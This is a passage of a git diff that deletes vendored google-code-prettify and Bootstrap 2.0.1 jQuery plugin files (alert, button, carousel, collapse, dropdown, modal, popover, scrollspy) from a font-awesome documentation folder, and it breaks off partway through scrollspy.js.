-I,J,v],hashComments:!0,cStyleComments:!0,multiLineStrings:!0,regexLiterals:!0}),A={};k(O,["default-code"]);k(x([],[["pln",/^[^<?]+/],["dec",/^<!\w[^>]*(?:>|$)/],["com",/^<\!--[\S\s]*?(?:--\>|$)/],["lang-",/^<\?([\S\s]+?)(?:\?>|$)/],["lang-",/^<%([\S\s]+?)(?:%>|$)/],["pun",/^(?:<[%?]|[%?]>)/],["lang-",/^<xmp\b[^>]*>([\S\s]+?)<\/xmp\b[^>]*>/i],["lang-js",/^<script\b[^>]*>([\S\s]*?)(<\/script\b[^>]*>)/i],["lang-css",/^<style\b[^>]*>([\S\s]*?)(<\/style\b[^>]*>)/i],["lang-in.tag",/^(<\/?[a-z][^<>]*>)/i]]),
-["default-markup","htm","html","mxml","xhtml","xml","xsl"]);k(x([["pln",/^\s+/,q," \t\r\n"],["atv",/^(?:"[^"]*"?|'[^']*'?)/,q,"\"'"]],[["tag",/^^<\/?[a-z](?:[\w-.:]*\w)?|\/?>$/i],["atn",/^(?!style[\s=]|on)[a-z](?:[\w:-]*\w)?/i],["lang-uq.val",/^=\s*([^\s"'>]*(?:[^\s"'/>]|\/(?=\s)))/],["pun",/^[/<->]+/],["lang-js",/^on\w+\s*=\s*"([^"]+)"/i],["lang-js",/^on\w+\s*=\s*'([^']+)'/i],["lang-js",/^on\w+\s*=\s*([^\s"'>]+)/i],["lang-css",/^style\s*=\s*"([^"]+)"/i],["lang-css",/^style\s*=\s*'([^']+)'/i],["lang-css",
-/^style\s*=\s*([^\s"'>]+)/i]]),["in.tag"]);k(x([],[["atv",/^[\S\s]+/]]),["uq.val"]);k(u({keywords:F,hashComments:!0,cStyleComments:!0,types:K}),["c","cc","cpp","cxx","cyc","m"]);k(u({keywords:"null,true,false"}),["json"]);k(u({keywords:H,hashComments:!0,cStyleComments:!0,verbatimStrings:!0,types:K}),["cs"]);k(u({keywords:G,cStyleComments:!0}),["java"]);k(u({keywords:v,hashComments:!0,multiLineStrings:!0}),["bsh","csh","sh"]);k(u({keywords:I,hashComments:!0,multiLineStrings:!0,tripleQuotedStrings:!0}),
-["cv","py"]);k(u({keywords:"caller,delete,die,do,dump,elsif,eval,exit,foreach,for,goto,if,import,last,local,my,next,no,our,print,package,redo,require,sub,undef,unless,until,use,wantarray,while,BEGIN,END",hashComments:!0,multiLineStrings:!0,regexLiterals:!0}),["perl","pl","pm"]);k(u({keywords:J,hashComments:!0,multiLineStrings:!0,regexLiterals:!0}),["rb"]);k(u({keywords:w,cStyleComments:!0,regexLiterals:!0}),["js"]);k(u({keywords:"all,and,by,catch,class,else,extends,false,finally,for,if,in,is,isnt,loop,new,no,not,null,of,off,on,or,return,super,then,true,try,unless,until,when,while,yes",
-hashComments:3,cStyleComments:!0,multilineStrings:!0,tripleQuotedStrings:!0,regexLiterals:!0}),["coffee"]);k(x([],[["str",/^[\S\s]+/]]),["regex"]);window.prettyPrintOne=function(a,m,e){var h=document.createElement("PRE");h.innerHTML=a;e&&D(h,e);E({g:m,i:e,h:h});return h.innerHTML};window.prettyPrint=function(a){function m(){for(var e=window.PR_SHOULD_USE_CONTINUATION?l.now()+250:Infinity;p<h.length&&l.now()<e;p++){var n=h[p],k=n.className;if(k.indexOf("prettyprint")>=0){var k=k.match(g),f,b;if(b=
-!k){b=n;for(var o=void 0,c=b.firstChild;c;c=c.nextSibling)var i=c.nodeType,o=i===1?o?b:c:i===3?N.test(c.nodeValue)?b:o:o;b=(f=o===b?void 0:o)&&"CODE"===f.tagName}b&&(k=f.className.match(g));k&&(k=k[1]);b=!1;for(o=n.parentNode;o;o=o.parentNode)if((o.tagName==="pre"||o.tagName==="code"||o.tagName==="xmp")&&o.className&&o.className.indexOf("prettyprint")>=0){b=!0;break}b||((b=(b=n.className.match(/\blinenums\b(?::(\d+))?/))?b[1]&&b[1].length?+b[1]:!0:!1)&&D(n,b),d={g:k,h:n,i:b},E(d))}}p<h.length?setTimeout(m,
-250):a&&a()}for(var e=[document.getElementsByTagName("pre"),document.getElementsByTagName("code"),document.getElementsByTagName("xmp")],h=[],k=0;k<e.length;++k)for(var t=0,s=e[k].length;t<s;++t)h.push(e[k][t]);var e=q,l=Date;l.now||(l={now:function(){return+new Date}});var p=0,d,g=/\blang(?:uage)?-([\w.]+)(?!\S)/;m()};window.PR={createSimpleLexer:x,registerLangHandler:k,sourceDecorator:u,PR_ATTRIB_NAME:"atn",PR_ATTRIB_VALUE:"atv",PR_COMMENT:"com",PR_DECLARATION:"dec",PR_KEYWORD:"kwd",PR_LITERAL:"lit",
-PR_NOCODE:"nocode",PR_PLAIN:"pln",PR_PUNCTUATION:"pun",PR_SOURCE:"src",PR_STRING:"str",PR_TAG:"tag",PR_TYPE:"typ"}})();
diff --git a/assets/font-awesome/docs/assets/js/tw-bs-201/bootstrap-alert.js b/assets/font-awesome/docs/assets/js/tw-bs-201/bootstrap-alert.js
deleted file mode 100755
index 2242dddc..00000000
--- a/assets/font-awesome/docs/assets/js/tw-bs-201/bootstrap-alert.js
+++ /dev/null
@@ -1,94 +0,0 @@
-/* ==========================================================
- * bootstrap-alert.js v2.0.1
- * http://twitter.github.com/bootstrap/javascript.html#alerts
- * ==========================================================
- * Copyright 2012 Twitter, Inc.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- * ========================================================== */
-
-
-!function( $ ){
-
-  "use strict"
-
- /* ALERT CLASS DEFINITION
-  * ====================== */
-
-  var dismiss = '[data-dismiss="alert"]'
-    , Alert = function ( el ) {
-        $(el).on('click', dismiss, this.close)
-      }
-
-  Alert.prototype = {
-
-    constructor: Alert
-
-  , close: function ( e ) {
-      var $this = $(this)
-        , selector = $this.attr('data-target')
-        , $parent
-
-      if (!selector) {
-        selector = $this.attr('href')
-        selector = selector && selector.replace(/.*(?=#[^\s]*$)/, '') //strip for ie7
-      }
-
-      $parent = $(selector)
-      $parent.trigger('close')
-
-      e && e.preventDefault()
-
-      $parent.length || ($parent = $this.hasClass('alert') ? $this : $this.parent())
-
-      $parent
-        .trigger('close')
-        .removeClass('in')
-
-      function removeElement() {
-        $parent
-          .trigger('closed')
-          .remove()
-      }
-
-      $.support.transition && $parent.hasClass('fade') ?
-        $parent.on($.support.transition.end, removeElement) :
-        removeElement()
-    }
-
-  }
-
-
- /* ALERT PLUGIN DEFINITION
-  * ======================= */
-
-  $.fn.alert = function ( option ) {
-    return this.each(function () {
-      var $this = $(this)
-        , data = $this.data('alert')
-      if (!data) $this.data('alert', (data = new Alert(this)))
-      if (typeof option == 'string') data[option].call($this)
-    })
-  }
-
-  $.fn.alert.Constructor = Alert
-
-
- /* ALERT DATA-API
-  * ============== */
-
-  $(function () {
-    $('body').on('click.alert.data-api', dismiss, Alert.prototype.close)
-  })
-
-}( window.jQuery );
\ No newline at end of file
diff --git a/assets/font-awesome/docs/assets/js/tw-bs-201/bootstrap-button.js b/assets/font-awesome/docs/assets/js/tw-bs-201/bootstrap-button.js
deleted file mode 100755
index a0e05354..00000000
--- a/assets/font-awesome/docs/assets/js/tw-bs-201/bootstrap-button.js
+++ /dev/null
@@ -1,98 +0,0 @@
-/* ============================================================
- * bootstrap-button.js v2.0.1
- * http://twitter.github.com/bootstrap/javascript.html#buttons
- * ============================================================
- * Copyright 2012 Twitter, Inc.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- * ============================================================ */
-
-!function( $ ){
-
-  "use strict"
-
- /* BUTTON PUBLIC CLASS DEFINITION
-  * ============================== */
-
-  var Button = function ( element, options ) {
-    this.$element = $(element)
-    this.options = $.extend({}, $.fn.button.defaults, options)
-  }
-
-  Button.prototype = {
-
-      constructor: Button
-
-    , setState: function ( state ) {
-        var d = 'disabled'
-          , $el = this.$element
-          , data = $el.data()
-          , val = $el.is('input') ? 'val' : 'html'
-
-        state = state + 'Text'
-        data.resetText || $el.data('resetText', $el[val]())
-
-        $el[val](data[state] || this.options[state])
-
-        // push to event loop to allow forms to submit
-        setTimeout(function () {
-          state == 'loadingText' ?
-            $el.addClass(d).attr(d, d) :
-            $el.removeClass(d).removeAttr(d)
-        }, 0)
-      }
-
-    , toggle: function () {
-        var $parent = this.$element.parent('[data-toggle="buttons-radio"]')
-
-        $parent && $parent
-          .find('.active')
-          .removeClass('active')
-
-        this.$element.toggleClass('active')
-      }
-
-  }
-
-
- /* BUTTON PLUGIN DEFINITION
-  * ======================== */
-
-  $.fn.button = function ( option ) {
-    return this.each(function () {
-      var $this = $(this)
-        , data = $this.data('button')
-        , options = typeof option == 'object' && option
-      if (!data) $this.data('button', (data = new Button(this, options)))
-      if (option == 'toggle') data.toggle()
-      else if (option) data.setState(option)
-    })
-  }
-
-  $.fn.button.defaults = {
-    loadingText: 'loading...'
-  }
-
-  $.fn.button.Constructor = Button
-
-
- /* BUTTON DATA-API
-  * =============== */
-
-  $(function () {
-    $('body').on('click.button.data-api', '[data-toggle^=button]', function ( e ) {
-      $(e.currentTarget).button('toggle')
-    })
-  })
-
-}( window.jQuery );
\ No newline at end of file
diff --git a/assets/font-awesome/docs/assets/js/tw-bs-201/bootstrap-carousel.js b/assets/font-awesome/docs/assets/js/tw-bs-201/bootstrap-carousel.js
deleted file mode 100755
index 810256e8..00000000
--- a/assets/font-awesome/docs/assets/js/tw-bs-201/bootstrap-carousel.js
+++ /dev/null
@@ -1,157 +0,0 @@
-/* ==========================================================
- * bootstrap-carousel.js v2.0.1
- * http://twitter.github.com/bootstrap/javascript.html#carousel
- * ==========================================================
- * Copyright 2012 Twitter, Inc.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- * ========================================================== */
-
-
-!function( $ ){
-
-  "use strict"
-
- /* CAROUSEL CLASS DEFINITION
-  * ========================= */
-
-  var Carousel = function (element, options) {
-    this.$element = $(element)
-    this.options = $.extend({}, $.fn.carousel.defaults, options)
-    this.options.slide && this.slide(this.options.slide)
-  }
-
-  Carousel.prototype = {
-
-    cycle: function () {
-      this.interval = setInterval($.proxy(this.next, this), this.options.interval)
-      return this
-    }
-
-  , to: function (pos) {
-      var $active = this.$element.find('.active')
-        , children = $active.parent().children()
-        , activePos = children.index($active)
-        , that = this
-
-      if (pos > (children.length - 1) || pos < 0) return
-
-      if (this.sliding) {
-        return this.$element.one('slid', function () {
-          that.to(pos)
-        })
-      }
-
-      if (activePos == pos) {
-        return this.pause().cycle()
-      }
-
-      return this.slide(pos > activePos ? 'next' : 'prev', $(children[pos]))
-    }
-
-  , pause: function () {
-      clearInterval(this.interval)
-      this.interval = null
-      return this
-    }
-
-  , next: function () {
-      if (this.sliding) return
-      return this.slide('next')
-    }
-
-  , prev: function () {
-      if (this.sliding) return
-      return this.slide('prev')
-    }
-
-  , slide: function (type, next) {
-      var $active = this.$element.find('.active')
-        , $next = next || $active[type]()
-        , isCycling = this.interval
-        , direction = type == 'next' ? 'left' : 'right'
-        , fallback  = type == 'next' ? 'first' : 'last'
-        , that = this
-
-      if (!$next.length) return
-
-      this.sliding = true
-
-      isCycling && this.pause()
-
-      $next = $next.length ? $next : this.$element.find('.item')[fallback]()
-
-      if (!$.support.transition && this.$element.hasClass('slide')) {
-        this.$element.trigger('slide')
-        $active.removeClass('active')
-        $next.addClass('active')
-        this.sliding = false
-        this.$element.trigger('slid')
-      } else {
-        $next.addClass(type)
-        $next[0].offsetWidth // force reflow
-        $active.addClass(direction)
-        $next.addClass(direction)
-        this.$element.trigger('slide')
-        this.$element.one($.support.transition.end, function () {
-          $next.removeClass([type, direction].join(' ')).addClass('active')
-          $active.removeClass(['active', direction].join(' '))
-          that.sliding = false
-          setTimeout(function () { that.$element.trigger('slid') }, 0)
-        })
-      }
-
-      isCycling && this.cycle()
-
-      return this
-    }
-
-  }
-
-
- /* CAROUSEL PLUGIN DEFINITION
-  * ========================== */
-
-  $.fn.carousel = function ( option ) {
-    return this.each(function () {
-      var $this = $(this)
-        , data = $this.data('carousel')
-        , options = typeof option == 'object' && option
-      if (!data) $this.data('carousel', (data = new Carousel(this, options)))
-      if (typeof option == 'number') data.to(option)
-      else if (typeof option == 'string' || (option = options.slide)) data[option]()
-      else data.cycle()
-    })
-  }
-
-  $.fn.carousel.defaults = {
-    interval: 5000
-  }
-
-  $.fn.carousel.Constructor = Carousel
-
-
- /* CAROUSEL DATA-API
-  * ================= */
-
-  $(function () {
-    $('body').on('click.carousel.data-api', '[data-slide]', function ( e ) {
-      var $this = $(this), href
-        , $target = $($this.attr('data-target') || (href = $this.attr('href')) && href.replace(/.*(?=#[^\s]+$)/, '')) //strip for ie7
-        , options = !$target.data('modal') && $.extend({}, $target.data(), $this.data())
-      $target.carousel(options)
-      e.preventDefault()
-    })
-  })
-
-}( window.jQuery );
\ No newline at end of file
diff --git a/assets/font-awesome/docs/assets/js/tw-bs-201/bootstrap-collapse.js b/assets/font-awesome/docs/assets/js/tw-bs-201/bootstrap-collapse.js
deleted file mode 100755
index d195efc7..00000000
--- a/assets/font-awesome/docs/assets/js/tw-bs-201/bootstrap-collapse.js
+++ /dev/null
@@ -1,136 +0,0 @@
-/* =============================================================
- * bootstrap-collapse.js v2.0.1
- * http://twitter.github.com/bootstrap/javascript.html#collapse
- * =============================================================
- * Copyright 2012 Twitter, Inc.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- * ============================================================ */
-
-!function( $ ){
-
-  "use strict"
-
-  var Collapse = function ( element, options ) {
-  	this.$element = $(element)
-    this.options = $.extend({}, $.fn.collapse.defaults, options)
-
-    if (this.options["parent"]) {
-      this.$parent = $(this.options["parent"])
-    }
-
-    this.options.toggle && this.toggle()
-  }
-
-  Collapse.prototype = {
-
-    constructor: Collapse
-
-  , dimension: function () {
-      var hasWidth = this.$element.hasClass('width')
-      return hasWidth ? 'width' : 'height'
-    }
-
-  , show: function () {
-      var dimension = this.dimension()
-        , scroll = $.camelCase(['scroll', dimension].join('-'))
-        , actives = this.$parent && this.$parent.find('.in')
-        , hasData
-
-      if (actives && actives.length) {
-        hasData = actives.data('collapse')
-        actives.collapse('hide')
-        hasData || actives.data('collapse', null)
-      }
-
-      this.$element[dimension](0)
-      this.transition('addClass', 'show', 'shown')
-      this.$element[dimension](this.$element[0][scroll])
-
-    }
-
-  , hide: function () {
-      var dimension = this.dimension()
-      this.reset(this.$element[dimension]())
-      this.transition('removeClass', 'hide', 'hidden')
-      this.$element[dimension](0)
-    }
-
-  , reset: function ( size ) {
-      var dimension = this.dimension()
-
-      this.$element
-        .removeClass('collapse')
-        [dimension](size || 'auto')
-        [0].offsetWidth
-
-      this.$element.addClass('collapse')
-    }
-
-  , transition: function ( method, startEvent, completeEvent ) {
-      var that = this
-        , complete = function () {
-            if (startEvent == 'show') that.reset()
-            that.$element.trigger(completeEvent)
-          }
-
-      this.$element
-        .trigger(startEvent)
-        [method]('in')
-
-      $.support.transition && this.$element.hasClass('collapse') ?
-        this.$element.one($.support.transition.end, complete) :
-        complete()
-  	}
-
-  , toggle: function () {
-      this[this.$element.hasClass('in') ? 'hide' : 'show']()
-  	}
-
-  }
-
-  /* COLLAPSIBLE PLUGIN DEFINITION
-  * ============================== */
-
-  $.fn.collapse = function ( option ) {
-    return this.each(function () {
-      var $this = $(this)
-        , data = $this.data('collapse')
-        , options = typeof option == 'object' && option
-      if (!data) $this.data('collapse', (data = new Collapse(this, options)))
-      if (typeof option == 'string') data[option]()
-    })
-  }
-
-  $.fn.collapse.defaults = {
-    toggle: true
-  }
-
-  $.fn.collapse.Constructor = Collapse
-
-
- /* COLLAPSIBLE DATA-API
-  * ==================== */
-
-  $(function () {
-    $('body').on('click.collapse.data-api', '[data-toggle=collapse]', function ( e ) {
-      var $this = $(this), href
-        , target = $this.attr('data-target')
-          || e.preventDefault()
-          || (href = $this.attr('href')) && href.replace(/.*(?=#[^\s]+$)/, '') //strip for ie7
-        , option = $(target).data('collapse') ? 'toggle' : $this.data()
-      $(target).collapse(option)
-    })
-  })
-
-}( window.jQuery );
\ No newline at end of file
diff --git a/assets/font-awesome/docs/assets/js/tw-bs-201/bootstrap-dropdown.js b/assets/font-awesome/docs/assets/js/tw-bs-201/bootstrap-dropdown.js
deleted file mode 100755
index f1f6c33f..00000000
--- a/assets/font-awesome/docs/assets/js/tw-bs-201/bootstrap-dropdown.js
+++ /dev/null
@@ -1,92 +0,0 @@
-/* ============================================================
- * bootstrap-dropdown.js v2.0.1
- * http://twitter.github.com/bootstrap/javascript.html#dropdowns
- * ============================================================
- * Copyright 2012 Twitter, Inc.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- * ============================================================ */
-
-
-!function( $ ){
-
-  "use strict"
-
- /* DROPDOWN CLASS DEFINITION
-  * ========================= */
-
-  var toggle = '[data-toggle="dropdown"]'
-    , Dropdown = function ( element ) {
-        var $el = $(element).on('click.dropdown.data-api', this.toggle)
-        $('html').on('click.dropdown.data-api', function () {
-          $el.parent().removeClass('open')
-        })
-      }
-
-  Dropdown.prototype = {
-
-    constructor: Dropdown
-
-  , toggle: function ( e ) {
-      var $this = $(this)
-        , selector = $this.attr('data-target')
-        , $parent
-        , isActive
-
-      if (!selector) {
-        selector = $this.attr('href')
-        selector = selector && selector.replace(/.*(?=#[^\s]*$)/, '') //strip for ie7
-      }
-
-      $parent = $(selector)
-      $parent.length || ($parent = $this.parent())
-
-      isActive = $parent.hasClass('open')
-
-      clearMenus()
-      !isActive && $parent.toggleClass('open')
-
-      return false
-    }
-
-  }
-
-  function clearMenus() {
-    $(toggle).parent().removeClass('open')
-  }
-
-
-  /* DROPDOWN PLUGIN DEFINITION
-   * ========================== */
-
-  $.fn.dropdown = function ( option ) {
-    return this.each(function () {
-      var $this = $(this)
-        , data = $this.data('dropdown')
-      if (!data) $this.data('dropdown', (data = new Dropdown(this)))
-      if (typeof option == 'string') data[option].call($this)
-    })
-  }
-
-  $.fn.dropdown.Constructor = Dropdown
-
-
-  /* APPLY TO STANDARD DROPDOWN ELEMENTS
-   * =================================== */
-
-  $(function () {
-    $('html').on('click.dropdown.data-api', clearMenus)
-    $('body').on('click.dropdown.data-api', toggle, Dropdown.prototype.toggle)
-  })
-
-}( window.jQuery );
\ No newline at end of file
diff --git a/assets/font-awesome/docs/assets/js/tw-bs-201/bootstrap-modal.js b/assets/font-awesome/docs/assets/js/tw-bs-201/bootstrap-modal.js
deleted file mode 100755
index bceb3035..00000000
--- a/assets/font-awesome/docs/assets/js/tw-bs-201/bootstrap-modal.js
+++ /dev/null
@@ -1,210 +0,0 @@
-/* =========================================================
- * bootstrap-modal.js v2.0.1
- * http://twitter.github.com/bootstrap/javascript.html#modals
- * =========================================================
- * Copyright 2012 Twitter, Inc.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- * ========================================================= */
-
-
-!function( $ ){
-
-  "use strict"
-
- /* MODAL CLASS DEFINITION
-  * ====================== */
-
-  var Modal = function ( content, options ) {
-    this.options = options
-    this.$element = $(content)
-      .delegate('[data-dismiss="modal"]', 'click.dismiss.modal', $.proxy(this.hide, this))
-  }
-
-  Modal.prototype = {
-
-      constructor: Modal
-
-    , toggle: function () {
-        return this[!this.isShown ? 'show' : 'hide']()
-      }
-
-    , show: function () {
-        var that = this
-
-        if (this.isShown) return
-
-        $('body').addClass('modal-open')
-
-        this.isShown = true
-        this.$element.trigger('show')
-
-        escape.call(this)
-        backdrop.call(this, function () {
-          var transition = $.support.transition && that.$element.hasClass('fade')
-
-          !that.$element.parent().length && that.$element.appendTo(document.body) //don't move modals dom position
-
-          that.$element
-            .show()
-
-          if (transition) {
-            that.$element[0].offsetWidth // force reflow
-          }
-
-          that.$element.addClass('in')
-
-          transition ?
-            that.$element.one($.support.transition.end, function () { that.$element.trigger('shown') }) :
-            that.$element.trigger('shown')
-
-        })
-      }
-
-    , hide: function ( e ) {
-        e && e.preventDefault()
-
-        if (!this.isShown) return
-
-        var that = this
-        this.isShown = false
-
-        $('body').removeClass('modal-open')
-
-        escape.call(this)
-
-        this.$element
-          .trigger('hide')
-          .removeClass('in')
-
-        $.support.transition && this.$element.hasClass('fade') ?
-          hideWithTransition.call(this) :
-          hideModal.call(this)
-      }
-
-  }
-
-
- /* MODAL PRIVATE METHODS
-  * ===================== */
-
-  function hideWithTransition() {
-    var that = this
-      , timeout = setTimeout(function () {
-          that.$element.off($.support.transition.end)
-          hideModal.call(that)
-        }, 500)
-
-    this.$element.one($.support.transition.end, function () {
-      clearTimeout(timeout)
-      hideModal.call(that)
-    })
-  }
-
-  function hideModal( that ) {
-    this.$element
-      .hide()
-      .trigger('hidden')
-
-    backdrop.call(this)
-  }
-
-  function backdrop( callback ) {
-    var that = this
-      , animate = this.$element.hasClass('fade') ? 'fade' : ''
-
-    if (this.isShown && this.options.backdrop) {
-      var doAnimate = $.support.transition && animate
-
-      this.$backdrop = $('<div class="modal-backdrop ' + animate + '" />')
-        .appendTo(document.body)
-
-      if (this.options.backdrop != 'static') {
-        this.$backdrop.click($.proxy(this.hide, this))
-      }
-
-      if (doAnimate) this.$backdrop[0].offsetWidth // force reflow
-
-      this.$backdrop.addClass('in')
-
-      doAnimate ?
-        this.$backdrop.one($.support.transition.end, callback) :
-        callback()
-
-    } else if (!this.isShown && this.$backdrop) {
-      this.$backdrop.removeClass('in')
-
-      $.support.transition && this.$element.hasClass('fade')?
-        this.$backdrop.one($.support.transition.end, $.proxy(removeBackdrop, this)) :
-        removeBackdrop.call(this)
-
-    } else if (callback) {
-      callback()
-    }
-  }
-
-  function removeBackdrop() {
-    this.$backdrop.remove()
-    this.$backdrop = null
-  }
-
-  function escape() {
-    var that = this
-    if (this.isShown && this.options.keyboard) {
-      $(document).on('keyup.dismiss.modal', function ( e ) {
-        e.which == 27 && that.hide()
-      })
-    } else if (!this.isShown) {
-      $(document).off('keyup.dismiss.modal')
-    }
-  }
-
-
- /* MODAL PLUGIN DEFINITION
-  * ======================= */
-
-  $.fn.modal = function ( option ) {
-    return this.each(function () {
-      var $this = $(this)
-        , data = $this.data('modal')
-        , options = $.extend({}, $.fn.modal.defaults, $this.data(), typeof option == 'object' && option)
-      if (!data) $this.data('modal', (data = new Modal(this, options)))
-      if (typeof option == 'string') data[option]()
-      else if (options.show) data.show()
-    })
-  }
-
-  $.fn.modal.defaults = {
-      backdrop: true
-    , keyboard: true
-    , show: true
-  }
-
-  $.fn.modal.Constructor = Modal
-
-
- /* MODAL DATA-API
-  * ============== */
-
-  $(function () {
-    $('body').on('click.modal.data-api', '[data-toggle="modal"]', function ( e ) {
-      var $this = $(this), href
-        , $target = $($this.attr('data-target') || (href = $this.attr('href')) && href.replace(/.*(?=#[^\s]+$)/, '')) //strip for ie7
-        , option = $target.data('modal') ? 'toggle' : $.extend({}, $target.data(), $this.data())
-
-      e.preventDefault()
-      $target.modal(option)
-    })
-  })
-
-}( window.jQuery );
\ No newline at end of file
diff --git a/assets/font-awesome/docs/assets/js/tw-bs-201/bootstrap-popover.js b/assets/font-awesome/docs/assets/js/tw-bs-201/bootstrap-popover.js
deleted file mode 100755
index 924844e8..00000000
--- a/assets/font-awesome/docs/assets/js/tw-bs-201/bootstrap-popover.js
+++ /dev/null
@@ -1,95 +0,0 @@
-/* ===========================================================
- * bootstrap-popover.js v2.0.1
- * http://twitter.github.com/bootstrap/javascript.html#popovers
- * ===========================================================
- * Copyright 2012 Twitter, Inc.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- * =========================================================== */
-
-
-!function( $ ) {
-
- "use strict"
-
-  var Popover = function ( element, options ) {
-    this.init('popover', element, options)
-  }
-
-  /* NOTE: POPOVER EXTENDS BOOTSTRAP-TOOLTIP.js
-     ========================================== */
-
-  Popover.prototype = $.extend({}, $.fn.tooltip.Constructor.prototype, {
-
-    constructor: Popover
-
-  , setContent: function () {
-      var $tip = this.tip()
-        , title = this.getTitle()
-        , content = this.getContent()
-
-      $tip.find('.popover-title')[ $.type(title) == 'object' ? 'append' : 'html' ](title)
-      $tip.find('.popover-content > *')[ $.type(content) == 'object' ? 'append' : 'html' ](content)
-
-      $tip.removeClass('fade top bottom left right in')
-    }
-
-  , hasContent: function () {
-      return this.getTitle() || this.getContent()
-    }
-
-  , getContent: function () {
-      var content
-        , $e = this.$element
-        , o = this.options
-
-      content = $e.attr('data-content')
-        || (typeof o.content == 'function' ? o.content.call($e[0]) :  o.content)
-
-      content = content.toString().replace(/(^\s*|\s*$)/, "")
-
-      return content
-    }
-
-  , tip: function() {
-      if (!this.$tip) {
-        this.$tip = $(this.options.template)
-      }
-      return this.$tip
-    }
-
-  })
-
-
- /* POPOVER PLUGIN DEFINITION
-  * ======================= */
-
-  $.fn.popover = function ( option ) {
-    return this.each(function () {
-      var $this = $(this)
-        , data = $this.data('popover')
-        , options = typeof option == 'object' && option
-      if (!data) $this.data('popover', (data = new Popover(this, options)))
-      if (typeof option == 'string') data[option]()
-    })
-  }
-
-  $.fn.popover.Constructor = Popover
-
-  $.fn.popover.defaults = $.extend({} , $.fn.tooltip.defaults, {
-    placement: 'right'
-  , content: ''
-  , template: '<div class="popover"><div class="arrow"></div><div class="popover-inner"><h3 class="popover-title"></h3><div class="popover-content"><p></p></div></div></div>'
-  })
-
-}( window.jQuery );
\ No newline at end of file
diff --git a/assets/font-awesome/docs/assets/js/tw-bs-201/bootstrap-scrollspy.js b/assets/font-awesome/docs/assets/js/tw-bs-201/bootstrap-scrollspy.js
deleted file mode 100755
index 5f09cfe8..00000000
--- a/assets/font-awesome/docs/assets/js/tw-bs-201/bootstrap-scrollspy.js
+++ /dev/null
@@ -1,125 +0,0 @@
-/* =============================================================
- * bootstrap-scrollspy.js v2.0.1
- * http://twitter.github.com/bootstrap/javascript.html#scrollspy
- * =============================================================
- * Copyright 2012 Twitter, Inc.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- * ============================================================== */
-
-!function ( $ ) {
-
-  "use strict"
-
-  /* SCROLLSPY CLASS DEFINITION
-   * ========================== */
-
-  function ScrollSpy( element, options) {
-    var process = $.proxy(this.process, this)
-      , $element = $(element).is('body') ? $(window) : $(element)
-      , href
-    this.options = $.extend({}, $.fn.scrollspy.defaults, options)
-    this.$scrollElement = $element.on('scroll.scroll.data-api', process)
-    this.selector = (this.options.target
-      || ((href = $(element).attr('href')) && href.replace(/.*(?=#[^\s]+$)/, '')) //strip for ie7
-      || '') + ' .nav li > a'
-    this.$body = $('body').on('click.scroll.data-api', this.selector, process)
-    this.refresh()
-    this.process()
-  }
-
-  ScrollSpy.prototype = {
-
-      constructor: ScrollSpy
-
-    , refresh: function () {
-        this.targets = this.$body
-          .find(this.selector)
-          .map(function () {
-            var href = $(this).attr('href')
-            return /^#\w/.test(href) && $(href).length ? href : null
-          })
-
-        this.offsets = $.map(this.targets, function (id) {
-          return $(id).position().top
-        })
-      }
-
-    , process: function () {
-        var scrollTop = this.$scrollElement.scrollTop() + this.options.offset
-          , offsets = this.offsets
-          , targets = this.targets
-          , activeTarget = this.activeTarget
-          , i
-
-        for (i = offsets.length; i--;) {
